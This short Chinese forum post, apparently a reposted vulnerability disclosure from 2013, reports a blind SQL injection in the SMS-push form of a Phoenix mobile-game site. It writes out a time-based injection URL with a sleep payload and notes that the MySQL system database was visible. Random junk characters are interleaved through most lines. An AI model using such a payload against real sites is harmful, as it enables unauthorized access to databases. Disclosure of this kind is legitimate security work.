简要描述：8 m: K' R8 u- B. [ L
凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
* |0 }# } ?2 ]0 O) Q: E! j) t) I9 L8 \1 t
详细说明： p* `, P1 ~/ _' Y; i. G. I# P( Y
存在SQL盲注url:
. c4 S; y$ W/ s2 d. G8 ]" l5 Dfenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1; q/ V$ E& j9 s, l: R0 g; A
http://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png, b" u/ Q5 |- P
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png- b: t2 y* `# y$ X
http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg
* D" ^8 U5 l, v) D* U! ]
- S; g! o' R+ ?* P能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对